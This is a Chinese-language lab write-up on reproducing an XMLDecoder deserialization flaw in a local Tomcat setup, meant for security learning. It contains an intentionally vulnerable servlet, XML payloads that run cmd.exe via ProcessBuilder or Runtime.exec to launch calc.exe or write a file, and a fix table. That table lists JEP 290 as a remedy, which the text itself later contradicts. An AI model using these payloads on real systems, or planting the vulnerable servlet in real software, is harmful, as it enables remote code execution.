本文仅用于安全学习、靶场复现与授权测试场景,重点关注漏洞原理、检测思路和修复建议。
XMLDecoder 反序列化漏洞复现笔记
环境信息
| 项目 |
版本/路径 |
| JDK |
21 (D:\JAVA\jdk-21.0.5.11-hotspot) |
| Tomcat |
8.5.50 (D:\tomcat\apache-tomcat-8.5.50) |
| 应用 |
/deser (webapps 目录) |
| 端口 |
8080 |
启动 Tomcat
1 2 3 4 5 6 7
| $env:CATALINA_HOME = "D:\tomcat\apache-tomcat-8.5.50" $env:JAVA_HOME = "D:\JAVA\jdk-21.0.5.11-hotspot" $cp = "$env:CATALINA_HOME\bin\bootstrap.jar;$env:CATALINA_HOME\bin\tomcat-juli.jar" & "$env:JAVA_HOME\bin\java.exe" ` "-Dcatalina.home=$env:CATALINA_HOME" ` "-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager" ` "-cp" $cp "org.apache.catalina.startup.Bootstrap" "start"
|
漏洞原理
java.beans.XMLDecoder 是 JDK 自带的 XML 反序列化工具类。
调用 XMLDecoder.readObject() 时,XML 中的 <object> 标签会触发类的无参构造,<void method="xxx"> 会调用对象方法。
攻击者构造恶意 XML,即可实现任意代码执行(RCE)。
核心调用链:
1 2 3 4
| XMLDecoder.readObject() → 解析 <object> 标签 → 实例化 ProcessBuilder → 解析 <void method="start"> → 调用 ProcessBuilder.start() → 执行系统命令
|
漏洞代码 (XmlDeserServlet.java)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import java.io.*; import java.beans.XMLDecoder; import javax.servlet.*; import javax.servlet.http.*;
public class XmlDeserServlet extends HttpServlet { protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8"); try { InputStream in = req.getInputStream(); XMLDecoder decoder = new XMLDecoder(in); Object obj = decoder.readObject(); decoder.close(); resp.getWriter().println("<h2>反序列化成功</h2><pre>" + obj + "</pre>"); } catch (Exception e) { resp.getWriter().println("<h2>反序列化失败</h2><pre>" + e + "</pre>"); } }
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { } }
|
攻击 Payload
基础 RCE (执行命令)
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <java class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd.exe</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>calc.exe</string></void> </array> <void method="start"/> </object> </java>
|
Runtime.exec 方式
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8"?> <java class="java.beans.XMLDecoder"> <object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd.exe</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>calc.exe</string></void> </array> </void> </object> </java>
|
反弹 Shell (PowerShell)
公开版本省略具体反连载荷,仅说明该类 payload 通常会表现为脚本解释器启动、网络外连、长参数命令等特征。复现请限定在本地靶场或授权环境。
写文件
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <java class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd.exe</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>echo hacked > D:\tomcat\evidence.txt</string></void> </array> <void method="start"/> </object> </java>
|
复现步骤
- 编译部署应用
- 启动 Tomcat
curl -X POST http://localhost:8080/deser/xml -H "Content-Type: application/xml" -d @payload.xml
- 服务端执行命令,RCE 成功
修复方案
| 方案 |
说明 |
| 禁用 XMLDecoder |
直接不用,业务场景极少需要 |
| 白名单校验 |
XML 中 <object> 标签 class 属性只允许安全类 |
| JDK 17+ JEP 290 |
通过 jdk.serialFilter 限制反序列化类 |
| 替换方案 |
改用 Jackson + 严格类型校验 |
JEP 290 示例
1
| -Djdk.serialFilter=maxbytes=1024;java.lang.*;java.util.*;!*
|
但 XMLDecoder 不受 JEP 290 管控,最直接的修法是删掉 XMLDecoder。
关键结论
- XMLDecoder 不在
ObjectInputStream 过滤链内,JEP 290 管不住
ProcessBuilder 是 JDK 自带类,不在任何黑名单中
Runtime.getRuntime().exec() 同样通杀
- 修复建议:不用 XMLDecoder